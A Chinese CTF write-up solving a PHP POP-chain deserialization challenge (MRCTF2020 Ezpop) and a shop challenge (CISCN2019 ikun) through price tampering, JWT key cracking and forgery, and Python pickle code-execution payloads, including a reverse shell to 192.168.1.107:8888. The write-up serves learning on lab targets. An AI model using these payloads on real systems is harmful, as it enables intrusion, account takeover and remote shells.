[MRCTF2020]Ezpop
打开靶机
得到源码:
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
代码审计:
共涉及以下魔术方法:
- __construct() 当一个对象创建时被调用
- __toString() 当一个对象被当作一个字符串使用
- __wakeup() 将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
- __get() 获得一个类的成员变量时调用
- __invoke() 调用函数的方式调用一个对象时的回应方法
先回顾一下各类魔术方法:
- __construct 具有构造函数的类会在每次创建新对象时先调用此方法;初始化工作执行。
- __desstruct 对象的所有引用都被删除或者当对象被显式销毁时执行。
- __call()在对象中调用一个不可访问方法时,__call() 会被调用。
- __callStatic()在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
- __set() 在给不可访问的属性赋值时调用
- __get() 读取不可访问的属性值是自动调用
- __isset() 当对不可访问的私有属性使用isset或empty时自动调用
- __unset() 当对不可访问的私有属性使用unset时;自动调用
- __toString()当一个类的实例对象;被当成一个字符串输出时调用
- __invoke() 当脚本尝试将对象调用为函数时触发
- __wakeup() 使用unserialize时触发
- __sleep() 使用serialize时触发
定义了三个类
Modifier:
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
声明保护字段类型$var
声明函数append,包含传入的文件
如果把对象当作一个函数调用时,触发__invoke()方法,然后包含文件
Show:
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
创建对象时触发__construct()方法,打印welcome to index.php,对象被当作字符串使用时触发__tostring(),序列化之后触发__wakeup,过滤了几个协议。
Test:
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
__construct()把p转换成数组,读取不可访问属性的值时调用__get() ,把p以函数的形式返回
思路:
反序列化构造pop链的题目要注意两个点
- 入口点,反序列化POP链构造的入口
- 找危险函数,如果含有某些危险函数就可能导致漏洞达到目的
而入口点要特别注意一些魔术方法,如__construct 、__desstruct、__wakeup等等
而这道题代码较为简单,同时发现了入口点与危险函数,正向分析和逆向分析都可以,为了更好的表现逻辑性,本文通过正向分析来解答此题
观察代码,发现有一个危险函数include()的内容可控,这里就可能造成文件包含漏洞
而反序列化的入口点在Show类中
解题:
我们看到Modifier类中有文件包含,且提示flag在flag.php中,因此我们的目的是能够读到include(flag.php),虽然过滤了几个协议,但filter没被过滤。
从反序列化进程开始分析,首先反序列化之后会触发__wakeup(),接着__wakeup()又会直接触发__tostring(),
从而访问str的成员source,这时如果我们让str等于Test类对象,由于Test中没有source, 就会触发__get(),将$ p以函数的形式返回,
而我们再让$ p等于Modifier的话,__invoke()方法就会触发,从而自动调用append函数包含flag.php
构造POP链
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>
即:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D
传入后得到回显:
解码即是flag
知识点:
-
pop链的思考与利用
-
多种php魔术方法的特点
总结:
源码审计是真正挖洞的技术前提。
[CISCN2019 华北赛区 Day1 Web2]ikun
启动靶机:
是一个类似的商城页面,提示
下面是各种等级的B站账号,显然这题是想要我们购买一个lv6的账号,随便翻卡了几页还是没有看见lv6。
我们来抓包看看
可以通过传page的值来跳到指定页。硬找肯定不行,不如我们来研究一下lv6的特点。
查看源码,发现不同等级的账号对应图片都有规律,lv3对应的就是lv3.png,因此我们可以写一个python脚本来搜索lv6到底在哪一页。
import requests
re = requests.session()
url = "http://ecf2b7e3-8f93-4dc4-b7f6-971e2808110c.node3.buuoj.cn/shop?page="
for i in range(0,1000):
req = re.get(url+str(i))
if "lv6.png" in req.text:
print(i)
break
运行结果为181
我们通过抓包跳转到181页,果然发现了尊贵的lv6
打开购买,还没账号,,,果断注册一个。这里我尝试注册一个admin账号,可惜行不通。
这个lv6可是一个天价账号,但是不要心慌,抓包看一下。
这个discount对应的折扣的比例,我们将他改的很小,比如0.0000000001,这才配得上尊贵的ikun的身份。
购买成功,但是这才刚刚开始。。。
拿到了后台的地址http://web44.buuoj.cn/b1g_m4mber
我们再来分析一下包,看看什么地方代表了我们的身份。
不难发现
需要权限,这里涉及JWT破解 认识JWT
(或者有个在线网站 http://jwt.io/,输入刚才的jwt字符串可以得到Header和Payload)
看到username是我自己的登陆名5,这里需要改为admin
后边解码不出来因为经过了sha256,需要破解key
找了一个工具破的 c-jwt-cracker(穷举暴力破解)
我们解出密码1Kun
接下来只要修改username为admin 进行加密,得到新的jwt字符串既可。生成jwt的网站
方法二:
这里提供一个python的实现方法,需要PyJwt库。
import jwt
headers = {
'alg': "HS256", # 声明所使用的算法
'typ': "JWT"
}
token ={
'username': "admin"
}
jwt_token = jwt.encode(token,
"1Kun",
"HS256",
headers
).decode("ascii")
print(jwt_token)
我们将生成的jwt串替换原来的,再次刷新页面。
好的进来了
点击按钮没反应,我们查看源码
有源码泄露,看到了下载的路径,下载下来查看,发现存在Pickle反序列化。
(存在于views\Admin文件)
我们可以通过构造类,通过__reduce的魔术方法来实现执行python代码。
第一步我们肯定是需要找到flag的位置,有两种方法来做。
这里用了Pickle协议的方法__reduce__(self)
PICKLE
Pickle模块中最常用的函数为:
(1)pickle.dump(obj, file, [,protocol])
函数的功能:将obj对象序列化存入已经打开的file中。
参数讲解:
obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(2)pickle.load(file)
函数的功能:将file中的对象序列化读出。
参数讲解: file:文件名称。
(3)pickle.dumps(obj[, protocol])
函数的功能:将obj对象序列化为string形式,而不是存入文件中。
参数讲解:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(4)pickle.loads(string)
函数的功能:从string中读出序列化前的obj对象。
参数讲解:string:文件名称。
附:Pickle协议
Python魔术方法指南
一:
通过执行python命令来获取
看网上的wp都是通过反射来实现获取flag的位置,但觉得没必要这么麻烦,找到了可以输出到页面上的方法。代码如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
import pickle
import urllib
import os
class payload(object):
def __reduce__(self):
return (os.listdir,('/',))
a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
a = urllib.quote(a)
print a
注:
-
这里说一说踩到的坑,利用os.system(‘ls’)并不会在页面回显ls的查询结果,而是0(表示查询成功)(也就是说os.system并不会return 输出结果,他的结果是通过print输出的,同理,os.popen也是如此,同样不会返回结果)
-
学习了一波大佬的写法return (eval,(“import(‘os’).popen(‘ls’).read()”,)) 这种写法就可以回显所有系统命令的执行结果。给跪了。
通过os.listdir()函数来获取目录下所有文件的名字。这里我们设置起始为根目录。
将序列化的字符串替换become中的参数(点击一键成为大会员按钮,抓包发现有become参数,替换become参数)发现flag.txt
二:通过反射
#python2
import pickle
import urllib
import os
class exp(object):
def __reduce__(self):
s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
return os.system, (s,)
e=exp()
poc = pickle.dumps(e)
print urllib.quote(poc)
#目标ip改为服务器ip,端口设置可以任意设置
然后在服务器运行nc -lvp 端口号 即可。
buuctf平台的靶机并不能远程访问,所以在此给出方法,没办法复现。
获得flag位置后,我们可以通过构造
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt').read()",))
a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
print(urllib.quote(a))
成功获取flag